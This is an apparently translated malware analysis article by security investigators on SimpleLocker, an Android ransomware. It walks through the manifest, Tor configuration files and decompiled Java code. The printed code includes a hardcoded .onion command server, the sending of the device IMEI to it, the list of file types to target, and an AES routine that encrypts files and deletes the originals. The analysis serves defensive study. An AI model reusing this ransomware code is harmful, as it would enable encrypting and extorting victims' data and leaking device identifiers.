
Analysis of Simplelocker-a - ransomware virus for Android

Good afternoon, dear habuchiteli, today the specialists of our company would like to present to your attention the analysis of one Android virus that caught our eye not so long ago, if you can call it that, SimpleLocker. In order to learn more about it, we did a lot of work, which in general can be divided into 3 steps:
Step 1. Analysis of the manifest and resources
Step 2. Decompilation of the application
Step 3. Analysis of the code
Step 1. Analysis of the manifest and resources
The first thing was It was decided to analyze the application resources using the aapt.exe utility to extract string content from the apk file with the command
c: \ android \ apktool> aapt.exe list -a .. \ simple \ fd694cf5ca1dd4967ad6e8c67241114c.apk The
permissions used in this application were as follows:
android.permission.INTERNET
android.permission.ACCESS_NETWORK_STATE
android.permission.READ_PHONE_STATE
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.WAKE_LOCK
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.READ_EXTERNAL_STORAGE
There are receivers:
.ServiceStarter
android.intent.action.BOOT_COMPLETED
.SDCardServiceStar
android.intent.action.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE
as well as the following services:
.MainService
org.torproject.android.service.TorService
org.torproject.android.service.ITorService
org.torproject.android.service.TOR_SERVICE
From the manifest we become aware that the virus can work with the TOR network and with an external memory card.
Unpack the application and see what is in the resources. The most interesting is in the res \ raw folder. We find two disguised files as mp3, which actually provide an archive containing databases of GeoIP countries, as well as configuration files for TOR'a torrc
file:
SocksPort 9050
SOCKSListenAddress 127.0.0.1
SafeSocks 0
TestSocks 1
WarnUnsafeSocks 1
Log notice stdout
ControlListenAddress 127.0.0.1
ControlPort 9051
CookieAuthentication 1
TransPort 9040
TransListenAddress 127.0.0.1
DNSPort 5400
DNSListenAddress 127.0.0.1
AvoidDiskWrites 1
Файл torrctether
SocksPort 9050
SOCKSListenAddress 0.0.0.0
SafeSocks 0
TestSocks 1
WarnUnsafeSocks 1
Log notice stdout
ControlPort 9051
ControlListenAddress 0.0.0.0
CookieAuthentication 1
RelayBandwidthRate 100 KBytes
RelayBandwidthBurst 100 KBytes
UseBridges 0
AutomapHostsOnResolve 1
TransListenAddress 0.0.0.0
TransPort 9040
DNSListenAddress 0.0.0.0
DNSPort 5400
AvoidDiskWrites 1
And the privoxy_config file
# Generally, this file goes in /etc/privoxy/config
#
# Tor listens as a SOCKS4a proxy here:
forward-socks4a / 127.0.0.1:9050 .
confdir /data/data/org.torproject.android
logdir /data/data/org.torproject.android
# actionsfile standard # Internal purpose, recommended
#actionsfile default.action # Main actions file
#actionsfile user.action # User customizations
#filterfile default.filter
# Don't log interesting things, only startup messages, warnings and errors
#logfile logfile
#jarfile jarfile
#debug 1
#debug 0 # show each GET/POST/CONNECT request
#debug 4096 # Startup banner and warnings
#debug 8192 # Errors - *we highly recommended enabling this*
#user-manual /usr/share/doc/privoxy/user-manual
listen-address 127.0.0.1:8118
toggle 1
accept-intercepted-requests 1
enable-remote-toggle 0
enable-edit-actions 0
enable-remote-http-toggle 0
buffer-limit 4096
Step 2. Decompiling the application
To decompile the application, we will use the link service .
Step 3. Code analysis. A
quick look at the names of the classes, I stopped at the Constants.java class. Let's see what constants are stored in it:
public static final String ADMIN_URL = "http://xeyocsu7fu2vjhxs.onion/";
public static final int CHECK_MAIN_WINDOW_TIME_SECONDS = 1;
public static final String CIPHER_PASSWORD = "jndlasf074hr";
public static final String CLIENT_NUMBER = "19";
public static final String DEBUG_TAG = "DEBUGGING";
public static final String DISABLE_LOCKER = "DISABLE_LOCKER";
public static final List EXTENSIONS_TO_ENCRYPT = Arrays.asList(new String[] {
"jpeg", "jpg", "png", "bmp", "gif", "pdf", "doc", "docx", "txt", "avi", "mkv", "3gp", "mp4"});
public static final String FILES_WAS_ENCRYPTED = "FILES_WAS_ENCRYPTED";
public static final int MONEYPACK_DIGITS_NUMBER = 14;
public static final int PAYSAFECARD_DIGITS_NUMBER = 16;
public static final int POLLING_TIME_MINUTES = 3;
public static final String PREFS_NAME = "AppPrefs";
public static final int UKASH_DIGITS_NUMBER = 19;
By constant variables, we can assume where the data is sent, what password is used to encrypt files, which files are subject to encryption.
The virus must somehow interact with the server and encrypt the files. Find the sections of code that are responsible for this functionality. We start by analyzing the MainService.java class, which acts as the MainService service.
Communication with the server.
In the MainService.java class, the TorSender.sendCheck (context) function is called in the run () method;
public void run() {
……
TorSender.sendCheck(context);
}
TorSender.java, this class contains one method:
public static void sendCheck(Context context) {
try {
JSONObject jsonobject = new JSONObject();
jsonobject.put("type", "locker check");
jsonobject.put("device id", Utils.getCutIMEI(context));
jsonobject.put("client number", "19");
(new HttpSender(jsonobject.toString(), HttpSender.RequestType.TYPE_CHECK, context)).startSending();
return;
}
catch (JSONException jsonexception) {
jsonexception.printStackTrace();
}
}
A json object is created containing information about the request type, device IMEI:
(Utils.getCutIMEI(context)) и номер клиента.
public static String getCutIMEI(Context context) {
String s = getIMEI(context);
….
}
public static String getIMEI(Context context) {
return ((TelephonyManager)context.getSystemService("phone")).getDeviceId();
}
When sending, the proxy server 127.0.0.1:9050 is first created when the explicit constructor of the HttpSender.java class is called
public HttpSender(String s, RequestType requesttype, Context context1) {
dataToSend = s;
settings = context1.getSharedPreferences("AppPrefs", 0);
httpclient = new StrongHttpsClient(context1);
httpclient.useProxy(true, "SOCKS", "127.0.0.1", 9050);
context = context1;
type = requesttype;
}
And then we call the startSending () method, which will transfer data to the eyocsu7fu2vjhxs.onion server.
public void startSending() {
….
HttpResponse httpresponse = send(context, "http://xeyocsu7fu2vjhxs.onion/", dataToSend);
...
}
File Encryption:
The MainService service starts a stream to encrypt files.
new Thread(new Runnable() {
…
(new FilesEncryptor(context)).encrypt();
…
}
Consider the explicit constructor of the FilesEncryptor (context) class
public FilesEncryptor(Context context) {
filesToEncrypt = new ArrayList();
filesToDecrypt = new ArrayList();
settings = context.getSharedPreferences("AppPrefs", 0);
getFileNames(new File(Environment.getExternalStorageDirectory().toString()));
}
We see the initialization of two lists intended for storing a list of regular and encrypted files, the getFileNames (File file) method fills the lists:
private void getFileNames(File file) {
…
String s = file1.getAbsolutePath();
String s1 = s.substring(1 + s.lastIndexOf("."));
if (extensionsToDecrypt.contains(s1)) {
filesToDecrypt.add(file1.getAbsolutePath());
} else
if (Constants.EXTENSIONS_TO_ENCRYPT.contains(s1)) {
filesToEncrypt.add(file1.getAbsolutePath());
}
…
}
And the encrypt () method will encrypt files from the filesToEncrypt list
public void encrypt() throws Exception {
…
AesCrypt aescrypt;
Iterator iterator;
aescrypt = new AesCrypt("jndlasf074hr");
iterator = filesToEncrypt.iterator();
…
String s = (String)iterator.next();
aescrypt.encrypt(s, (new StringBuilder(String.valueOf(s))).append(".enc").toString());
(new File(s)).delete();
…
}
Consider the class AesCrypt.java
private final Cipher cipher = Cipher.getInstance ("AES / CBC / PKCS7Padding");
AES 128 block encryption is used.
In the class constructor, hash the password with the SHA-256 algorithm and generate the key for the cipher:
public AesCrypt(String s) throws Exception {
MessageDigest messagedigest = MessageDigest.getInstance("SHA-256");
messagedigest.update(s.getBytes("UTF-8"));
byte abyte0[] = new byte[32];
System.arraycopy(messagedigest.digest(), 0, abyte0, 0, abyte0.length);
key = new SecretKeySpec(abyte0, "AES");
spec = getIV();
}
Well, the encryption method itself:
public void encrypt(String s, String s1) throws Exception {
FileInputStream fileinputstream = new FileInputStream(s);
FileOutputStream fileoutputstream = new FileOutputStream(s1);
cipher.init(1, key, spec);
CipherOutputStream cipheroutputstream = new CipherOutputStream(fileoutputstream, cipher);
byte abyte0[] = new byte[8];
do {
int i = fileinputstream.read(abyte0);
if (i == -1) {
cipheroutputstream.flush();
cipheroutputstream.close();
fileinputstream.close();
return;
}
cipheroutputstream.write(abyte0, 0, i);
} while (true);
}
After conducting this series of studies, we can conclude that this virus has very poor functionality, namely:
1. Grabbing IMEI victims
2. Working with the TOR network
3. File encryption
Boyarkin Anton, Nabiev Nurlan, cybercrime investigation department , PentestIT